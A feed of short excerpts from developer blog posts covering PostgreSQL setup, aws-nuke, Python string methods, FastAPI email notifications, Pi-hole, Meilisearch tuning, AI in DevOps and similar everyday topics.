    "Why I Start My Tuesdays with These 3-Minute Prayers (Even as a Developer)"
    Mornings set the tone for my day—and as someone balancing code, deadlines, and life stress, I’ve learned that pausing for prayer isn’t a ritual... It’s a reset. Every Tuesday, before I open my IDE, I take three quiet minutes for these short morning prayers. They help me: Clear mental fog Invite peace into the pressure Refocus on what truly matters If you're like me—juggling complexity and burnout—this short guide may ground you: 👉 [Tuesday Morning Prayers for a Focused Start] I also use warfare declarations when tackling heavy personal or professional challenges: → [Warfare Prayer Declarations That Shift Atmospheres] And if you're preparing spiritually for the week ahead, this post offers intercessory prayers that empower your Sunday mindset: → [Intercession Prayers for This Coming Sunday] We code in public, but the inner world matters too. This quiet moment before the keyboard helps me face the day with clarity and calm.  ( 5 min )
    The Truth About Vibe Coding: AI Won’t Save You From Debugging
    In recent months, the term vibe coding has gained traction — generating code with the help of AI, iterating quickly until you get something that works. Does it work? Yes, especially for problems that are widely documented on the internet. But like any powerful tool, it must be used consciously — especially in a corporate environment, where the challenges are very different from GitHub tutorials. This article walks you through a debugging process you can apply to ensure that the code generated (by you, AI, or colleagues) actually works. It also covers where AI shines and where it tends to fail. 1. Where AI Works Well — and Where It Fails AI is great at solving problems that have already been solved and are widely documented. If you need to create a CRUD with JWT authentication, craft a co…  ( 8 min )
    Modern-Day Software Engineering: Orchestrating Intelligence with AI, ML, and LLMs
    The field of software engineering is undergoing a profound transformation, driven by the rise of Artificial Intelligence (AI), Machine Learning (ML), and Large Language Models (LLMs). What was once a discipline grounded in rigid processes and strict team roles is rapidly evolving into a more dynamic, intelligent, and automated ecosystem. From Traditional Teams to Intelligent Orchestration Enter AI and LLMs. Today, with the advancement of technologies like Model Coordination Protocols (MCP) and AI-driven development assistants, many of these roles are becoming partially or fully automatable. We’re no longer just writing code — we’re architecting systems that write, test, review, and even debug themselves. The MCP Engineer: A New Role in the AI Era Here’s how the process unfolds in this new paradigm: The engineer feeds high-level product requirements into the system. An LLM generates UI/UX mockups based on user personas and product goals. Another model creates a development plan, breaking the work into frontend, backend, and integration tasks. AI agents write code, generate API specs, and build responsive UIs. Test suites are auto-generated and executed, including edge cases. Documentation is produced as the system understands what it built. The product is deployed via automated CI/CD, and monitored using AI-powered observability tools. Throughout this process, the MCP engineer supervises the automation — identifying failures, debugging AI misinterpretations, and refining prompts or training data. Why This Matters It’s not about replacing creativity with code generation — it’s about scaling creativity across the stack. The Future Is Collaborative Intelligence Engineering, in its modern form, is becoming less about typing lines of code and more about orchestrating intelligent subsystems — like a maestro guiding a symphony where each instrument is powered by AI.  ( 6 min )
    Nuking AWS Resources Safely with aws-nuke
    Hi there! I'm Maneshwar. Right now, I’m building LiveAPI, a first-of-its-kind tool that helps you automatically index API endpoints across all your repositories. LiveAPI makes it easier to discover, understand, and interact with APIs in large infrastructures. Managing cloud resources across multiple AWS services and regions can quickly get messy, especially during development or testing. If you need to safely and completely wipe out specific AWS resources across all regions, aws-nuke is one of the most efficient tools available. This post walks through how to: Configure aws-nuke to remove selected resource types Execute a nuke with region-wide coverage Bypass alias checks when working with non-production accounts nuke-resources.yaml This configuration instructs aws-nuke to scan all regi…  ( 6 min )
    HTML Lab: Create & Style Div Elements, CSS Box Shadows, and Basic Structure
    作为 LabEx 的技术内容创作者,我深知掌握 HTML 对于任何有志于 Web 开发的人来说都至关重要。HTML 不仅仅是标记语言,它是构建互联网世界的基石。在 LabEx 的“Learn HTML”学习路径中,我们精心设计了一系列互动式实验,旨在帮助初学者从零开始,逐步精通 HTML 的核心概念。本路径强调动手实践,让您在动态的 HTML 操场中,通过非视频练习,亲手构建结构良好的网页。今天,我将向您推荐三个入门级但极具价值的实验,它们将为您打开 Web 开发的大门,助您快速掌握 HTML 的精髓。 Difficulty: Beginner | Time: 25 minutes Learn how to create, style, and manipulate div elements in HTML, exploring their block-level characteristics, background colors, and positioning techniques. Practice on LabEx → | Tutorial → Difficulty: Beginner | Time: 25 minutes Learn how to create stunning visual depth and dimension in web design by mastering CSS box shadow techniques, from basic shadows to complex multi-layered effects. Practice on LabEx → | Tutorial → Difficulty: Beginner | Time: 25 minutes Learn how to create a basic HTML document structure, understand essential HTML tags, and build a foundational web page with proper semantic markup. Practice on LabEx → | Tutorial → 这三个实验只是您在 LabEx 掌握 HTML 之旅的起点。它们旨在为您提供坚实的基础,让您能够自信地构建和设计网页。不要犹豫,立即投入实践,亲身体验代码的魔力。您的 Web 开发之旅,从这里开始!  ( 6 min )
    TypeScript 5.9 is here, GLM 4.5 is EPIC for Programming, Node.js 22.18 LTS, and more
    Hello JavaScript Enthusiasts! Welcome to a new edition of "This Week in JavaScript"! This week, TypeScript 5.9 streamlines developer workflows with minimal configurations and deferred imports, ZhipuAI's GLM 4.5 showcases incredible coding capabilities including building Space Invaders games, and Node.js 22.18 LTS solidifies production reliability while Node.js v24 pushes performance boundaries. Plus, we've got some powerful new + updated tools for your development workflow! TypeScript 5.9: Developer Experience Gets Better TypeScript 5.9 delivers practical enhancements that directly address common developer pain points, making the development experience smoother and more productive. This release focuses on reducing setup complexity, improving IDE interactions, and optimizing performance f…  ( 9 min )
    Tagasaurus, desktop ml photo search
    Tagasaurus is a privacy-first media-manager that lives entirely on your desktop. Drop photos, videos, GIFs, PDFs, or audio files into the app and Tagasaurus builds a fully local library you can search like magic. Type a natural-language description ('sunset over the vacation 2019', 'college picnic 2012') or let the camera roll: Tagasaurus can find every shot of your old friend Jack by comparing face embeddings even if you never wrote a single tag. Because everything runs offline, none of your memories ever leave your machine. It can handle storing audio, pdfs, gifs and video. https://github.com/mantzaris/Tagasaurus/ Under the hood the app is a tight Electron JS bundle with a modern Svelte 5 + Routify frontend. The renderer is written in TypeScript with runes-based reactivity and Tailwind-style utility classes, while the main process handles heavy lifting in Node. Media ingest pipelines lean on fluent-ffmpeg (pointed at statically bundled ffmpeg/ffprobe binaries) to extract thumbnails, duration metadata, and frames for face detection. Faces are embedded with an ArcFace ONNX model; text search uses a lightweight sentence-embedding model—both executed through onnxruntime for fast, CPU-friendly inference. Vectors, file hashes, and canonical paths land in a libSQL (SQLite) database, giving you ACID guarantees and blistering full-text + nearest-neighbour queries without shipping a server. Tag Your Planet!  ( 5 min )
    Day 4 of #30DaysOfCode
    3rd August 2k25, started the day with solving contest ended up solving 2 prbs (1 easy and 1 med lvl prb) thought i would revise old topics but after array didn't feel like continuing it continued with stacks and queues , solved min stack prb , next greater element-I prb For dev i asked a senior she told to go slow n give time so I am following that will do some more basic js by midnight . Overall pretty decent day hoping to stay consistent. Good Night  ( 5 min )
    My DevOps Portfolio Site Is Live – Built with Real Infrastructure, Real Tools
    I finally built my portfolio website, and it is live! Built to reflect my DevOps expertise, cloud projects, and technical journey, this isn’t just another portfolio—it’s a real-world demonstration of modern infrastructure, automation, and best practices. 👉 Check it out here: Live Site Most portfolios focus only on design, but mine goes further—it’s a fully automated, cloud-native project that highlights my DevOps and cloud engineering skills. Every component, from hosting to analytics, was built with scalability, security, and cost efficiency in mind. HTML5, CSS3, Vanilla JS – No bloated frameworks, just clean, fast code. Mobile-first design – Flawless on any device. SEO-optimized – Proper meta tags for better visibility. Font Awesome icons – For a polished look. The site runs on a highly available, low-cost AWS setup: S3 – Static website hosting (cost-effective & reliable). CloudFront – Global CDN with SSL/TLS for fast loading worldwide. Route 53 – Secure DNS management. ACM – Free SSL certificates for HTTPS. Lambda + CloudWatch – Real-time log processing & monitoring. Athena – Deep log analytics without third-party trackers. Terraform (IaC) – Entire infrastructure defined as code. GitHub Actions CI/CD – Auto-deploys on git push to main. Auto-destroy feature – Trigger infrastructure teardown with a commit keyword (great for testing). Instead of invasive trackers, I built my own GDPR-compliant analytics: ✅ Global performance (CloudFront CDN) This project isn’t just a portfolio—it’s a working example of: Infrastructure as Code (Terraform) Automated CI/CD pipelines Serverless cloud architecture Security & compliance by design Cost optimization in the cloud I’d love to hear your thoughts! Which part of this setup do you find most interesting? Let me know in the comments! Website: https://fidelis.fozdigitalz.com LinkedIn: Connect with me GitHub: Follow my projects  ( 6 min )
    Understanding OAuth2: A Beginner-Friendly Guide
    Introduction I had heard about OAuth2 many times, but I never really understood what it was, since I had never worked on implementing authentication and authorization myself. Before we jump into OAuth2, let's review some basic terminology you should know: is the step that you verify the identity of the user. verifying who you are Authorization is the step that you verify the permission of the user. verifying what you're allowed to do What is OAuth2? OAuth2 is a security standard that allows one application to access user data from another application on the user's behalf without needing the user's password. For example, when you log into a website using your Google account, OAuth2 allows that website to access your data without seeing your password. Many o…  ( 7 min )
    The Role of AI in DevOps
    The Role of AI in DevOps: Explained Simply with Examples DevOps is a way of working that helps developers and IT operations teams build, test, and release software faster and more reliably. Imagine DevOps as a construction team and a maintenance crew working together, fixing problems quickly, and making sure everything runs smoothly. Now, what happens if we bring Artificial Intelligence (AI) into this team? AI can help make DevOps faster, smarter, and more automated. Let’s break this down step by step. AI in DevOps means using smart computer programs that can learn from data, find patterns, and make decisions. In the DevOps world, this could be anything from predicting system failures to fixing problems automatically—almost like having a digital team member who never gets tired! Here are…  ( 7 min )
    Kanban vs Scrum: qual escolher?
    ## Diferenças de Ciclo de Trabalho: Fluxo Contínuo vs. Sprints A forma como as equipes organizam seu trabalho impacta diretamente a produtividade, a qualidade e a capacidade de adaptação a mudanças. Duas abordagens comuns são o fluxo contínuo e os sprints, cada uma com suas particularidades. Vamos mergulhar nas diferenças entre elas, com exemplos práticos. Fluxo Contínuo: O Rio que Corre Sem Parar No fluxo contínuo, o trabalho flui de forma ininterrupta, sem períodos fixos para planejamento ou entrega. O foco está em: Entrega constante: Novas funcionalidades, correções de bugs e melhorias são implementadas assim que estão prontas. Flexibilidade: Adaptações às mudanças são feitas em tempo real. Redução de desperdícios: Processos são otimizados continuamente para eliminar gargalos e di…  ( 6 min )
    POSTGRESQL INSTALLATION ON LINUX SERVER
    PostgreSQL is a powerful, open-source object-relational database system known for its robustness, extensibility, and standards compliance. You must have a Linux server (like Ubuntu). You must have admin rights (called sudo). You must know how to use the terminal/command line. INSTALLATION PROCESS One must update the system first using commands on the terminal sudo apt update sudo apt upgrade -y Installing postgres, main database and its tools are installed. sudo apt install postgresql postgresql-contrib -y Checking if postgres is running after installation sudo systemctl status postgresql Ensure that postgress is running and if not start postgress sudo systemctl start postgresql After installing, postgress creates a user called postgress and we should switch to that user. sudo -i -u postgres 5.Getting into the database psql You should set a password for postgress while still in the database ALTER USER postgres PASSWORD 'mypassword'; Your postgress has been installed on the linux server. If you want you can create your own database.  ( 5 min )
    How I Stopped Fake “OpenAI” & “Googlebot” Crawlers from Flooding My Site
    If your site is even a little bit successful, you’re probably being hammered by traffic from “OpenAI,” “Googlebot,” or “Bingbot” — or so your logs claim. Spoiler: most of it is fake. Here’s how I learned that the hard way, what I did about it, and the exact steps to fix it. I run a site that gets about 20,000 legit visits per day. But my server logs? 500,000+ “bot” requests every 24 hours — mostly claiming to be “OpenAI” or “Googlebot.” Analytics showed almost none of that traffic. But my server load was spiking, and then my AdSense dashboard dropped this warning: Crawler – Unknown Error Restricted Ad Serving Your site is blocking our ad validation bots, so we’re cutting your revenue. User-Agent headers are worthless for bot detection — anyone can spoof them. So I built an integration …  ( 6 min )
    How to Build a Production Flask API CI/CD Pipeline on AWS with GitHub Actions
    When I built my first Flask API, I wanted to automate everything, tests, builds, deployments. But Jenkins was overwhelming. Too many plugins. Too much setup. Too much YAML. When you’re building your first production CI/CD pipeline, sometimes the simplest path forward is the best one. That’s why I built my pipeline using GitHub Actions + AWS CodeDeploy, no Jenkins, no headaches. This guide demonstrates how to build a fully functional Flask API with complete AWS deployment automation using a hybrid approach, AWS native deployment tools combined with GitHub Actions for the build pipeline. You will learn to set up automated testing, deployment, and production-ready infrastructure that scales efficiently. Before following this guide, ensure you have: An AWS account with administrative access A …  ( 9 min )
    Oracle 23ai (23.9) — Introducing the Non-Positional INSERT INTO SET Clause
    If you are familiar with Oracle Database, you know the basic INSERT INTO command. Let me briefly remind you of its traditional usage with some simple examples: SQL> CREATE TABLE vahid.tbl ( id NUMBER, name VARCHAR2(100), last_name VARCHAR2(100) ); Table created. SQL> INSERT INTO vahid.tbl VALUES (1, 'VAHID', 'YOUSEFZADEH'); 1 row created. SQL> INSERT INTO vahid.tbl (name, last_name) VALUES ('VAHID', 'YOUSEFZADEH'); 1 row created. When working with tables containing many columns, this standard syntax can become difficult to read and maintain, as it is not always obvious which values correspond to which columns. New Feature in Oracle 23ai (23.9): INSERT INTO ... SET Clause SQL> INSERT INTO vahid.tbl SET id = 1, name = 'VAHID', last_name = 'YOUSEFZADEH'; 1 row created…  ( 6 min )
    Simple Tweaks That Can Make Your Meilisearch Faster
    Meilisearch is a really powerful search engine; it’s fast, open-source, and easy to set up. But if you don’t configure it properly, especially the indexing and attributes, it can start to feel slow. Let’s say you set up an index with a few thousand records and start running searches. At first, things feel snappy — queries respond in under 20ms, which is very fast. But then you notice that some searches — especially those with 3 or more keywords — are suddenly taking above 300ms or more, even on a local instance. Making just a few small tweaks to how you set up your indexes and attributes can significantly improve speed and overall performance. Have you ever felt like your Meilisearch results are a bit slow? Maybe you’ve had to wait longer than expected for a simple search to load. In many …  ( 10 min )
    Best tips to learn music?
    Hello, I have the Minilab 3 from Arturia And I would learn more with Ableton Live 12 Lite, what is your best tips?  ( 5 min )
    Laura Kampf: What can I make with the most boring chair in the world?
    What can I make with the most boring chair in the world? Laura Kampf’s latest DIY mission: she found the blandest chair on an LA sidewalk and is determined to turn it into something useful—and keep it out of a landfill. Plus, you can grab 60% off with code laurakampf at incogni.com while you watch the transformation unfold. Want to support her work? Visit her shop, become a Patreon backer, or follow along at laurakampf.com, Instagram, and Facebook. She’s also teamed up with Festool and Lincoln Electric for this project. Watch on YouTube  ( 5 min )
    Auth and Billing in One API Call: A Pattern Worth Betting On
    The first real backend decision I made on Learnflow AI wasn’t about speed, performance, or even voice logic. It was about simplicity. From the start, I knew two things: Every user should be on a plan (Free or Pro) Every plan should define exactly what features the user could access But here’s the problem: Most tools split these concerns across two completely different services. One API for auth. Another for billing. A third for usage tracking (usually the database). You end up stitching together logic just to answer a question as basic as: "Can this user start a session right now?" Learnflow AI isn’t a typical SaaS app. It’s usage-based, voice-powered, and session-restricted. And to make the experience smooth, I didn’t want 5 lookups across 3 APIs. So I made a bet: What if billing and acce…  ( 8 min )
    Adam Savage's Tested: How Adam Savage Is Good AND Bad at Prioritization
    How Adam Savage Is Good AND Bad at Prioritization In a recent live-stream clip, Adam Savage dives into how he tackles (and sometimes fumbles) organizing his ideas and lining up his to-do list—sharing the tools, tricks, and apps he leans on when projects start to pile up. He also breaks down his costume-comfort hacks, revealing how he tweaks props and wearables so he can rock them all day without collapsing into a sweaty heap. Watch on YouTube  ( 5 min )
    Installing Pi-hole with an LCD screen
    I had already made an article on Pi-hole a few years ago, this one adds the fact that there is an LCD screen. Setup your Pi-hole Thomas Bnt ・ Aug 14 '18 #opensource #raspberrypi #pihole #privacy In this article, we will discover how to install Pi-hole with an LCD screen. XPT2046 Touch 3.5" RPI Display 480x320 16bit. We will install Pi-hole on a Raspberry Pi 3B. Pi-hole is used to block unwanted requests and URLs that you don't want to load on the network. First, flash your SD drive from Etcher or another application. Wait a few minutes until the disk is ready. Connect to your Raspberry Pi and update the dependencies. sudo apt-get update -y && sudo apt-get upgrade -y Wait a good few minutes... in the meantime, drink a good cappuccino. ☕ Install curl and …  ( 8 min )
    AI browser is the next killer app: how browsing is being rewritten by AI
    The traditional web browser has remained largely unchanged for decades—until now. In this blog, I explore how AI-first browsers are revolutionizing the way we interact with the internet. These new-gen browsers, equipped with generative AI, personal agents, and smart automation, promise a frictionless, hyper-personalized browsing experience. From redefining how we search and shop to challenging Google's dominance, the rise of AI browsers like Perplexity Comet, Arc, Edge Copilot and others marks a paradigm shift in the digital era. Find out more here: AI browser is the next killer app: how browsing is being rewritten by AI  ( 5 min )
    Hello World: I’m Learning HTML, CSS, and JavaScript
    Hey Dev Community 👋 I’m Vaishali, a curious learner and currently a Final Year BCA student stepping into the world of web development. I’ve finally begun my journey with HTML, CSS, and JavaScript. I believe learning something new is not just about skills, but also about growth, community, and self-discovery. Why I'm Sharing This? documenting my progress, not just to keep track of what I learn, but also to connect with others who are on a similar path. Whether you're just beginning or already experienced, I’d love to learn from you, and hopefully share something valuable in return someday. What I'm Learning Now? HTML basics CSS basics If you're also learning, or you’ve just started out recently, feel free to say hi in the comments! Let’s grow together — one line of code, one post, one lesson at a time. Thank you for reading!🌸 — Vaishali Kadam 📬 Let’s Connect! Feel free to reach out on LinkedIn if you're learning too or just want to say hi! I'd love to connect.🤝 webdev #html #css #beginner  ( 5 min )
    🧪 Playwright Test Annotations & Grouping with describe() — Full Tutorial
    If you're writing Playwright tests and your files are starting to feel chaotic, it's time to leverage annotations and test grouping. In this tutorial, I cover: ✅ How to group tests using describe() test.skip() – Skip unstable or WIP tests test.only() – Focus on one test while debugging test.fixme() – Flag tests for fixing later These features make your test suite more organized, maintainable, and collaborative-friendly. 📺 Watch the full tutorial here: https://youtu.be/rIuYrdV4Eb4 Perfect for SDETs, QA Engineers, and developers automating end-to-end scenarios with Playwright + TypeScript. Playwright #AutomationTesting #QA #JavaScript #TypeScript #WebTesting #WishInfinite #SDET #DevTools #CleanCode #SoftwareTesting  ( 5 min )
    🚀 Introducing: Quote Tab – A Chrome Extension for Daily Motivation
    I needed a personal reminder to take action every day. Instead of wasting time or giving in to procrastination, I wanted a subtle nudge right when I open a new tab. That’s how Quote Tab was born. "Taking no action invites depression to stay." — Arif Every time I open a new tab, I now see this reminder. It inspires me to stay on track, keep learning, and keep going 💪 ✅ Clean motivational quote ✅ Real-time digital clock ✅ Minimal UI (no distractions) ✅ Personalized author name Download the repo as .zip from GitHub Extract it Go to chrome://extensions/ Enable Developer Mode Click Load unpacked Select the unzipped folder 🎉 That’s it! Your new tabs will now keep you motivated every day! Want to help improve this? Add dynamic quote support Name input from user Dark mode Or something new? Feel free to contribute or fork the repo 🙌 GitHub: https://github.com/arifuddincoder/chrome-quote-tab-extension Md Arif Uddin Email: arifuddincoder@gmail.com #chrome-extension #opensource #motivation #productivity #developer-tools #javascript #selfdevelopment #buildinpublic  ( 6 min )
    index & rindex in Python
    Buy Me a Coffee☕ *Memos: My post explains count() with a string and byte string. My post explains find() and rfind() with a string and byte string. My post explains encode(), decode() with a string and byte string. My post explains a string. str.index() and bytes.index() or bytearray.index() can find the 1st substring and byte substring respectively, searching from the left to the right to return the index (with error if the substring and byte substring respectively aren't found) as shown below: *Memos: The 1st argument is sub(Required-Type:str for str.index() or bytes-like object for bytes.index() and bytearray.index()): It's the substring or byte substring of zero or more characters. Don't use sub=. The 2nd argument is start(Optional-Type:int or NoneType): It's a start index. If it's…  ( 8 min )
    BST, the Find method and levelOrderForEach
    THINGS I’VE WORKED ON/COMPLETED… The Find method in BST. The levelOrderForEach in BST. In the levelOrderForEach method, I wasn’t entirely sure ‘how much’ should go into the callback (what to put in the callback v the main method, but I realised that if I created the array in the callback, that this would not work as a new array would be created each time. I asked for some advice about this and was told that it was perfectly acceptable for the callback to perform a simple task (console logging nodes visited in this case). I tried to implement recursion in the levelOrderForEach method, but struggled with it - someone suggested to me that recursion might not be the best way to approach BFS, so I went with the iterative approach in the end. My main method was originally put together using t…  ( 6 min )
    find & rfind in Python
    Buy Me a Coffee☕ *Memos: My post explains count() with a string and byte string. My post explains index() and rindex() with a string and byte string. My post explains encode(), decode() with a string and byte string. My post explains a string. str.find() and bytes.find() or bytearray.find() can find the 1st substring and byte substring respectively, searching from the left to the right to return the index (without error even if the substring and byte substring respectively aren't found) as shown below: *Memos: The 1st argument is sub(Required-Type:str for str.find() or bytes-like object for bytes.find() and bytearray.find()): It's the substring or byte substring of zero or more characters. Don't use sub=. The 2nd argument is start(Optional-Type:int or NoneType): It's a start index. If …  ( 8 min )
    Responsive Card Layout with CSS Grid: A Step-by-Step Guide
    In this post, I'll walk you through the implementation of a responsive card layout using CSS Grid, which I recently deployed on my GitHub repository: css_flexible_wrap. This layout adapts dynamically to various screen sizes, ensuring a visually appealing and functional design. The main goal of this project is to create a card layout that maintains uniformity across rows while being responsive to the size of the display. Utilizing CSS Grid allows for a flexible and efficient arrangement of cards. Responsive Design: The layout adjusts based on screen size, maintaining a consistent look across devices. Dynamic Columns: The number of columns changes automatically according to the container's width. CSS Grid: Efficient layout management using CSS Grid properties. To get started, clone the repos…  ( 6 min )
    Designing Vector Embeddings: A Finding Nemo Journey Through Redis Vector Sets
    Introduction Every software engineer has faced this challenge: how do you model complex, multifaceted relationships in your data? Whether it's products in an e-commerce catalog, documents in a search engine, or content in a recommendation system, we constantly grapple with representing entities with multiple attributes and complex relationships. Today, we'll explore this fundamental problem through an unexpected lens: Pixar's Finding Nemo. By modeling Marlin's journey to find his son Nemo, we'll discover how vector embeddings can elegantly solve problems that traditional approaches struggle with. Best of all? You'll learn how to use Redis Vector Sets to implement this. Imagine you're tasked with building a system representing Marlin's journey in Finding Nemo. If you haven't watched the m…  ( 12 min )
    Top 10 Agentic AI Tools for Developers to Speed Up Coding
    Hey Devs, Dhruv Here. 👋 I've been building software and writing content about it for about 7 years now. I’ve witnessed the evolution of tooling — from writing repetitive code manually to having AI pair-programmers that feel almost magical. 2024-2025 has been a whirlwind for agentic AI. We're not just getting code suggestions anymore — we’re delegating entire tasks to AI-powered agents. In this post, I’m sharing 10 AI agentic tools that I personally find game-changing — the kind that save time, reduce context switching, and let me focus more on architecture and less on boilerplate. Quick detour for clarity — agentic tools are not just passive assistants like autocomplete or chatbots. These are task-completing, goal-oriented AIs. You give them intent (“write tests for this module” or “gener…  ( 7 min )
    Adding SMTP Email Notifications to FastAPI Using smtplib and Environment Variables
    In my Task Automation API, I added email notification support using Python’s smtplib. The setup is minimal, uses no extra packages, and leverages environment variables to securely manage SMTP credentials. Here’s a breakdown of the implementation, inspired by this commit: View commit on GitHub import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart import os def send_email(recipient: str, subject: str, body: str): sender = os.getenv("SMTP_SENDER") password = os.getenv("SMTP_PASSWORD") smtp_server = os.getenv("SMTP_SERVER") smtp_port = int(os.getenv("SMTP_PORT", 587)) msg = MIMEMultipart() msg["From"] = sender msg["To"] = recipient msg["Subject"] = subject msg.attach(MIMEText(body, "plain")) with smtplib.SMTP(smtp_server, smtp_port) as server: server.starttls() server.login(sender, password) server.sendmail(sender, recipient, msg.as_string()) To keep secrets out of the codebase, define these in your .env file or server environment: SMTP_SENDER: Your email address SMTP_PASSWORD: SMTP password or app-specific password SMTP_SERVER: SMTP host, e.g., smtp.gmail.com SMTP_PORT: Port number, usually 587 How I Use It After a user schedules a task, once and it’s validated, I call send_email to notify them: send_email( recipient=current_user.email, subject="File Upload Successful", body=f"Your file {file.filename} was uploaded and verified." ) No external dependencies Secure configuration with environment variables Easy to extend for HTML emails or attachments later Adding SMTP email with smtplib is a lightweight, effective way to send notifications in your FastAPI app. This pattern fits nicely in automation workflows like mine. Check out the full commit for details: GitHub link If you need help integrating emailing or environment management in your project, let me know.  ( 6 min )
    count in Python
    Buy Me a Coffee☕ *Memos: My post explains find() and rfind() with a string and byte string. My post explains index() and rindex() with a string and byte string. My post explains encode(), decode() with a string and byte string. My post explains a string. str.count() and bytes.count() or bytearray.count() can count a substring and byte substring respectively as shown below: *Memos: The 1st argument is sub(Required-Type:str for str.count() or bytes-like object for bytes.count() and bytearray.count()): It's the substring or byte substring of zero or more characters. Don't use sub=. The 2nd argument is start(Optional-Type:int or NoneType): It's a start index. If it's not set or None, 0 is set. Don't use start. The 3rd argument is end(Optional-Type:int or NoneType): It's an end index. If …  ( 9 min )
    Tradie Materials Live NZ: After the Hack - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. Tradie Materials Live NZ - TML NZ helps Kiwi tradies compare live prices of materials by location, track stock, build quotes, get alerts on changes, and generate invoices—All in one streamlined workflow! Team Members: Maryanne Galo, Sosefina Galo Project URL: https://devpost.com/software/tradie-materials-live-nz The World's Largest Hackathon may have concluded, but for Tradie Materials Live NZ, it was just the beginning of an exciting journey that has reshaped our trajectory as developers and innovators. What started as a hackathon submission has evolved into something much more significant. Tradie Materials Live NZ has grown from a proof-of-concept to a potential market solution. Current Status: Enh…  ( 7 min )
    The Debate Between Tailwind CSS and Styled Components for React Developers
    In the world of web development, frontend developers have a plethora of tools and libraries at their disposal to create stunning user interfaces. Two popular choices among React developers are Tailwind CSS and Styled Components. Both offer unique approaches to styling components, but which one do developers prefer? In this blog post, we'll dive into the pros and cons of Tailwind CSS and Styled Components to determine which one reigns supreme among React developers. Overview of Tailwind CSS: Features and Benefits for Modern Web Development Tailwind CSS has gained significant popularity among React developers due to its utility-first approach and extensive set of pre-built utility classes. This CSS framework offers a wide range of features and benefits, including rapid development, consiste…  ( 7 min )
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    The Evolution of Middleware: From Web APIs to AI Agents Seenivasa Ramadurai ・ Jul 27  ( 5 min )
    isupper, islower & istitle in Python
    Buy Me a Coffee☕ *Memos: My post explains upper(), lower() and casefold() with a string and byte string. My post explains swapcase(), title() and capitalize() with a string and byte string. My post explains a string. My post explains encode(), decode() and a byte string. str.isupper() and bytes.isupper() or bytearray.isupper() can check if a string and byte string respectively are uppercase and aren't empty as shown below. *Each has no arguments: String>: print('PYTHON 3'.isupper()) # True print('PYthON 3'.isupper()) print(''.isupper()) # False Byte String(UTF-8)>: bytes() & bytearray(): print('PYTHON 3'.encode().isupper()) print(b'PYTHON 3'.isupper()) print(bytearray('PYTHON 3'.encode()).isupper()) # True print('PYthON 3'.encode().isupper()) print(b'PYthON 3'.isupp…  ( 6 min )
    swapcase, title & capitalize in Python
    Buy Me a Coffee☕ *Memos: My post explains upper(), lower() and casefold() with a string and byte string. My post explains isupper(), islower() and istitle() with a string and byte string. My post explains a string. My post explains encode(), decode() and a byte string. str.swapcase() and bytes.swapcase() or bytearray.swapcase() can swap the case of each character of a string and byte string respectively from uppercase to lowercase and from lowercase to uppercasee as shown below. *Each has no arguments: String>: v = 'hElLo WoRlD' print(v.swapcase()) # HeLlO wOrLd v = 'ß' # Lowercase German Alphabet print(v.swapcase()) # SS v = 'ẞ' # Uppercase German Alphabet print(v.swapcase()) # ß Byte String(UTF-8)>: bytes() & bytearray(): v1 = 'hElLo WoRlD'.encode() v1 = b'hElL…  ( 6 min )
    How to efficiently compress image file size while maintaining image quality?
    In our daily work, image compression is often necessary, such as when publishing articles on websites or posting comments with images on forums, where file size restrictions are common. This article introduces a highly effective image compression tool that is simple to use. ZipPic is a free online image compression tool. Leveraging advanced compression algorithms, ZipPic achieves significantly smaller file sizes compared to other tools while maintaining the quality of compressed images. Local Compression: No cloud upload is required; all image compression is performed locally, ensuring better protection of user privacy. User-Friendly Interface: ZipPic features a minimalist interface, supporting operations via drag-and-drop, paste, or file selection. Compression Comparison: After compression, ZipPic automatically generates a side-by-side comparison of the original and compressed images, allowing users to evaluate file size and quality differences. Format Support: ZipPic supports various image formats, including JPG, PNG, GIF, and AVIF, as well as animated formats like GIF, WEBP, and APNG. Quality Customization: Users can adjust image quality via a slider, and ZipPic generates images at different quality levels, enabling users to select the most suitable option. Visit the official website: https://www.zippic.com/ Select the desired output image format. Choose the preferred image quality. Upload the image, and compression will start automatically. Compare the original and compressed images. Download the compressed image. ZipPic is a highly convenient image compression tool, offering impressive compression ratios while preserving image quality. It is strongly recommended for efficient and user-friendly image compression.  ( 6 min )
    如何高效压缩图片体积,保持图片质量不变?
    我们日常工作中经常需要进行图片压缩,比如网站发布文章,或者在论坛发布带图评论,都有文件大小限制,那么如何进行图片压缩,本文介绍一款非常有用的图片压缩工具,使用起来非常简单。 ZipPic 是一款免费的在线图片压缩工具网站,凭借着压缩算法,ZipPic 压缩的图片体积比其他工具要小很多,而且压缩后的图片质量不会下降。 本地压缩,无需上传云端,所有的图片压缩都在本地完成,可以更好保护用户的隐私。 操作简单,ZiPic 的界面非常简约,可以通过拖拽,粘贴、选择图片等三种方式进行操作图片。 压缩对比,压缩完成后,ZipPic 会自动生成压缩前的图片和压缩后的图片,方便用户对比压缩前后的图片大小和质量。 格式支持,ZipPic 支持的图片格式有 JPG、PNG、GIF、AVIF 等,动图包括 GIF、WEBP、APNG 等。 质量选择,可以通过拖拽选择你喜欢的图片质量,ZipPic 会自动生成不同质量图片,方便用户选择最合适的图片质量。 我们打开官网 https://www.zippic.com/ 选择你想要输出的图片格式 选择你想要的图片质量 选择图片,就会自动进行压缩 压缩前后图片对比 下载图片 ZipPic 是一款非常便捷的图片压缩工具,压缩比例非常高,还能保持图片质量不变,非常值得推荐。  ( 5 min )
    Microsoft Identifies Jobs Most at Risk of AI Replacement in New Report
    AI Copilot or Job Killer? Microsoft's New Report Details the Future of Work In a landmark new report, Microsoft has shed light on one of the most pressing questions of our time: how will generative AI reshape the job market? The tech giant, a key player in the AI revolution, has analyzed the skills and tasks most susceptible to automation. The findings suggest not a simple story of replacement, but a complex evolution where adaptability will be paramount, moving beyond hype to provide a data-driven look at the roles facing the most significant transformation. According to the analysis, roles characterized by repetitive, predictable tasks are most exposed to AI's influence. This is less about entire professions disappearing overnight and more about specific functions within them being automated. Key areas identified include office and administrative support, where tasks like scheduling and data entry are prime candidates for AI assistants, and customer service, where chatbots can handle routine inquiries, freeing up human agents for more complex issues. However, the report emphasizes that this disruption is a double-edged sword. Microsoft frames AI primarily as a "copilot" designed to augment human capabilities, not eliminate them. The key takeaway is a call for a massive shift in workforce skills. The roles least at risk are those that rely heavily on uniquely human traits: critical thinking, complex problem-solving, emotional intelligence, and creativity. The future of work, as envisioned by Microsoft, is one of human-AI collaboration. The challenge now lies in reskilling and upskilling the workforce to thrive in this new, augmented reality.  ( 7 min )
    Building a Highly Scalable Ride-Sharing System Architecture
